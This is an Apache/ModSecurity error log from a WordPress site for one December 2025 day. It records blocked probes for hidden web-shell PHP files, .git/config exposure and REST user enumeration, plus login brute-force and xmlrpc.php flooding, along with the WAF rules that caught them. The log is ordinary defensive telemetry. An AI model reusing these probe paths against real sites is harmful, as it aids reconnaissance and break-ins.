[Sun Dec 07 12:32:27.096164 2025] [:error] [pid 25694:tid 25701] [client 4.197.60.90:9633] [client 4.197.60.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "aTUDW0f7996cewJ5N2_wqgAAAQU"], referer: https://www.google.co.uk/
[Sun Dec 07 12:32:27.162152 2025] [:error] [pid 36068:tid 36070] [client 4.197.60.90:24175] [client 4.197.60.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/index.php"] [unique_id "aTUDW1GuxqM4ZYob8lOupQAAAAA"], referer: https://www.google.co.uk/
[Sun Dec 07 12:32:27.220257 2025] [:error] [pid 25694:tid 25709] [client 4.197.60.90:37932] [client 4.197.60.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/admin.php"] [unique_id "aTUDW0f7996cewJ5N2_wqwAAAQ0"], referer: https://www.bing.com/
[Sun Dec 07 12:32:27.282754 2025] [:error] [pid 25694:tid 25704] [client 4.197.60.90:25886] [client 4.197.60.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/html-api/index.php"] [unique_id "aTUDW0f7996cewJ5N2_wrAAAAQg"], referer: https://www.bing.com/
[Sun Dec 07 12:32:27.350922 2025] [autoindex:error] [pid 25600:tid 25610] [client 4.197.60.90:31776] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Sun Dec 07 12:32:27.368979 2025] [:error] [pid 25600:tid 25630] [client 4.197.60.90:31776] [client 4.197.60.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aTUDW4X3SVrXRURpt5IiZwAAAFc"], referer: https://duckduckgo.com/
[Sun Dec 07 12:32:27.402961 2025] [:error] [pid 36068:tid 36075] [client 4.197.60.90:21917] [client 4.197.60.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/index.php"] [unique_id "aTUDW1GuxqM4ZYob8lOupwAAAAU"], referer: https://www.google.co.uk/
[Sun Dec 07 12:32:27.445824 2025] [autoindex:error] [pid 25600:tid 25616] [client 4.197.60.90:49283] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Sun Dec 07 12:32:27.467007 2025] [autoindex:error] [pid 25600:tid 25618] [client 4.197.60.90:49283] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Sun Dec 07 12:32:27.482525 2025] [:error] [pid 25600:tid 25628] [client 4.197.60.90:49283] [client 4.197.60.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/search/index.php"] [unique_id "aTUDW4X3SVrXRURpt5IiagAAAFU"], referer: https://www.google.com/
[Sun Dec 07 12:32:27.525125 2025] [autoindex:error] [pid 25601:tid 25652] [client 4.197.60.90:25885] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Sun Dec 07 12:32:27.541416 2025] [:error] [pid 25601:tid 25637] [client 4.197.60.90:25885] [client 4.197.60.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "aTUDW6tsSIqGPs4YVxEbQwAAAII"], referer: https://www.yahoo.com/
[Sun Dec 07 12:51:37.174881 2025] [:error] [pid 25694:tid 25715] [client 38.246.33.184:50729] [client 38.246.33.184] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.184, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTUH2Uf7996cewJ5N2_1GgAAARM"]
[Sun Dec 07 12:51:37.175452 2025] [:error] [pid 36068:tid 36081] [client 38.246.33.184:50730] [client 38.246.33.184] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.184, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTUH2VGuxqM4ZYob8lO10AAAAAs"]
[Sun Dec 07 13:21:32.143289 2025] [:error] [pid 25600:tid 25613] [client 85.209.135.111:51032] [client 85.209.135.111] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aTUO3IX3SVrXRURpt5IrsQAAAEY"]
[Sun Dec 07 13:22:39.195272 2025] [:error] [pid 25602:tid 25664] [client 135.181.4.161:59716] [client 135.181.4.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/robots.txt"] [unique_id "aTUPHxMayYLriq9gRdfBqgAAAMI"]
[Sun Dec 07 13:22:40.418230 2025] [:error] [pid 25600:tid 25615] [client 135.181.4.161:59734] [client 135.181.4.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/robots.txt"] [unique_id "aTUPIIX3SVrXRURpt5IsKgAAAEg"]
[Sun Dec 07 13:46:28.379279 2025] [:error] [pid 25600:tid 25627] [client 85.209.135.111:43068] [client 85.209.135.111] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aTUUtIX3SVrXRURpt5IvtwAAAFQ"]
[Sun Dec 07 14:02:31.013443 2025] [:error] [pid 25694:tid 25705] [client 38.246.32.148:58900] [client 38.246.32.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.32.148, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTUYd0f7996cewJ5N28FwAAAAQk"]
[Sun Dec 07 14:02:31.014168 2025] [:error] [pid 25694:tid 25717] [client 38.246.32.148:58901] [client 38.246.32.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.32.148, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTUYd0f7996cewJ5N28FwQAAARU"]
[Sun Dec 07 14:03:31.521003 2025] [:error] [pid 25601:tid 25652] [client 38.246.32.148:62017] [client 38.246.32.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.32.148, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTUYs6tsSIqGPs4YVxEqpAAAAJE"]
[Sun Dec 07 14:03:31.547929 2025] [:error] [pid 25694:tid 25698] [client 38.246.32.148:62019] [client 38.246.32.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.32.148, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTUYs0f7996cewJ5N28F5gAAAQI"]
[Sun Dec 07 15:12:37.619823 2025] [:error] [pid 25694:tid 25713] [client 38.246.32.131:58173] [client 38.246.32.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.32.131, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTUo5Uf7996cewJ5N28W1wAAARE"]
[Sun Dec 07 15:12:37.620226 2025] [:error] [pid 36068:tid 36090] [client 38.246.32.131:58172] [client 38.246.32.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.32.131, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTUo5VGuxqM4ZYob8lPa7QAAABQ"]
[Sun Dec 07 15:13:42.240596 2025] [:error] [pid 25602:tid 25683] [client 38.246.33.53:61199] [client 38.246.33.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.53, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTUpJhMayYLriq9gRdfVeAAAANU"]
[Sun Dec 07 15:13:42.260733 2025] [:error] [pid 25600:tid 25627] [client 38.246.33.53:61203] [client 38.246.33.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.53, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTUpJoX3SVrXRURpt5I_EwAAAFQ"]
[Sun Dec 07 16:19:16.643325 2025] [:error] [pid 25694:tid 25709] [client 43.166.136.24:39232] [client 43.166.136.24] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aTU4hEf7996cewJ5N28ngAAAAQ0"]
[Sun Dec 07 16:19:20.794868 2025] [:error] [pid 25601:tid 25645] [client 68.183.68.188:50859] [client 68.183.68.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.183.68.188, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTU4iKtsSIqGPs4YVxFCLwAAAIo"]
[Sun Dec 07 16:19:20.800304 2025] [:error] [pid 25602:tid 25665] [client 68.183.68.188:50858] [client 68.183.68.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.183.68.188, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTU4iBMayYLriq9gRdfjdQAAAMM"]
[Sun Dec 07 16:20:32.957871 2025] [:error] [pid 39560:tid 39578] [client 68.183.68.188:57976] [client 68.183.68.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.183.68.188, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTU40CtL21FvSzcnpi0g4wAAAVA"]
[Sun Dec 07 16:20:32.958512 2025] [:error] [pid 25694:tid 25700] [client 68.183.68.188:57979] [client 68.183.68.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.183.68.188, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTU40Ef7996cewJ5N28nugAAAQQ"]
[Sun Dec 07 16:47:49.241063 2025] [:error] [pid 36068:tid 36086] [client 175.6.217.4:59566] [client 175.6.217.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aTU_NVGuxqM4ZYob8lPyygAAABA"]
[Sun Dec 07 17:26:05.905519 2025] [:error] [pid 36068:tid 36072] [client 38.246.33.20:64650] [client 38.246.33.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.20, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTVILVGuxqM4ZYob8lP7qwAAAAI"]
[Sun Dec 07 17:26:05.908199 2025] [:error] [pid 25602:tid 25674] [client 38.246.33.20:64651] [client 38.246.33.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.20, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTVILRMayYLriq9gRdfvvgAAAMw"]
[Sun Dec 07 17:27:21.592334 2025] [:error] [pid 25694:tid 25698] [client 38.246.33.20:57568] [client 38.246.33.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.20, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTVIeUf7996cewJ5N286lAAAAQI"]
[Sun Dec 07 17:27:21.593188 2025] [:error] [pid 25602:tid 25677] [client 38.246.33.20:57569] [client 38.246.33.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.20, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTVIeRMayYLriq9gRdfv9gAAAM8"]
[Sun Dec 07 17:42:58.020269 2025] [:error] [pid 25694:tid 25718] [client 34.76.199.138:54635] [client 34.76.199.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.76.199.138, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTVMIkf7996cewJ5N28-NAAAARY"]
[Sun Dec 07 17:43:02.001095 2025] [:error] [pid 25694:tid 25702] [client 34.76.199.138:54635] [client 34.76.199.138] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTVMJUf7996cewJ5N28-NwAAAQY"]
[Sun Dec 07 17:43:03.895374 2025] [:error] [pid 25694:tid 25712] [client 34.76.199.138:54635] [client 34.76.199.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.76.199.138, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTVMJ0f7996cewJ5N28-PgAAARA"]
[Sun Dec 07 17:43:06.169691 2025] [:error] [pid 39560:tid 39566] [client 34.76.199.138:55654] [client 34.76.199.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.76.199.138, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTVMKitL21FvSzcnpi08iwAAAUQ"]
[Sun Dec 07 17:43:08.440616 2025] [:error] [pid 39560:tid 39562] [client 34.76.199.138:63351] [client 34.76.199.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.76.199.138, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTVMLCtL21FvSzcnpi08jgAAAUA"]
[Sun Dec 07 17:43:10.808288 2025] [:error] [pid 39560:tid 39582] [client 34.76.199.138:56450] [client 34.76.199.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.76.199.138, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTVMLitL21FvSzcnpi08kAAAAVQ"]
[Sun Dec 07 17:43:13.239944 2025] [:error] [pid 25601:tid 25657] [client 34.76.199.138:49965] [client 34.76.199.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.76.199.138, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTVMMatsSIqGPs4YVxFTLQAAAJY"]
[Sun Dec 07 17:43:13.240189 2025] [:error] [pid 25601:tid 25657] [client 34.76.199.138:49965] [client 34.76.199.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.76.199.138, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTVMMatsSIqGPs4YVxFTLQAAAJY"]
[Sun Dec 07 18:35:00.616682 2025] [:error] [pid 25600:tid 25616] [client 34.83.72.112:62569] [client 34.83.72.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.83.72.112, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTVYVIX3SVrXRURpt5Jj1wAAAEk"]
[Sun Dec 07 18:35:04.326680 2025] [:error] [pid 25600:tid 25627] [client 34.83.72.112:62569] [client 34.83.72.112] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTVYWIX3SVrXRURpt5Jj4AAAAFQ"]
[Sun Dec 07 18:35:06.171342 2025] [:error] [pid 25600:tid 25625] [client 34.83.72.112:62569] [client 34.83.72.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.83.72.112, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTVYWoX3SVrXRURpt5Jj4gAAAFI"]
[Sun Dec 07 18:35:08.012707 2025] [:error] [pid 25694:tid 25704] [client 34.83.72.112:59557] [client 34.83.72.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.83.72.112, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTVYXEf7996cewJ5N29KIQAAAQg"]
[Sun Dec 07 18:35:09.849797 2025] [:error] [pid 25601:tid 25643] [client 34.83.72.112:53267] [client 34.83.72.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.83.72.112, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTVYXatsSIqGPs4YVxFaSAAAAIg"]
[Sun Dec 07 18:35:11.672427 2025] [:error] [pid 39560:tid 39571] [client 34.83.72.112:56064] [client 34.83.72.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.83.72.112, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTVYXytL21FvSzcnpi1LVQAAAUk"]
[Sun Dec 07 18:35:13.577225 2025] [:error] [pid 39560:tid 39578] [client 34.83.72.112:61011] [client 34.83.72.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.83.72.112, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTVYYStL21FvSzcnpi1LXQAAAVA"]
[Sun Dec 07 18:35:13.577372 2025] [:error] [pid 39560:tid 39578] [client 34.83.72.112:61011] [client 34.83.72.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.83.72.112, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTVYYStL21FvSzcnpi1LXQAAAVA"]
[Sun Dec 07 18:41:59.498143 2025] [:error] [pid 36068:tid 36077] [client 65.20.99.159:62922] [client 65.20.99.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.20.99.159, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTVZ91GuxqM4ZYob8lMMUQAAAAc"]
[Sun Dec 07 18:41:59.498475 2025] [:error] [pid 36068:tid 36078] [client 65.20.99.159:62923] [client 65.20.99.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.20.99.159, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTVZ91GuxqM4ZYob8lMMUgAAAAg"]
[Sun Dec 07 18:43:03.864669 2025] [:error] [pid 25600:tid 25625] [client 65.20.99.159:55709] [client 65.20.99.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.20.99.159, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTVaN4X3SVrXRURpt5JnPQAAAFI"]
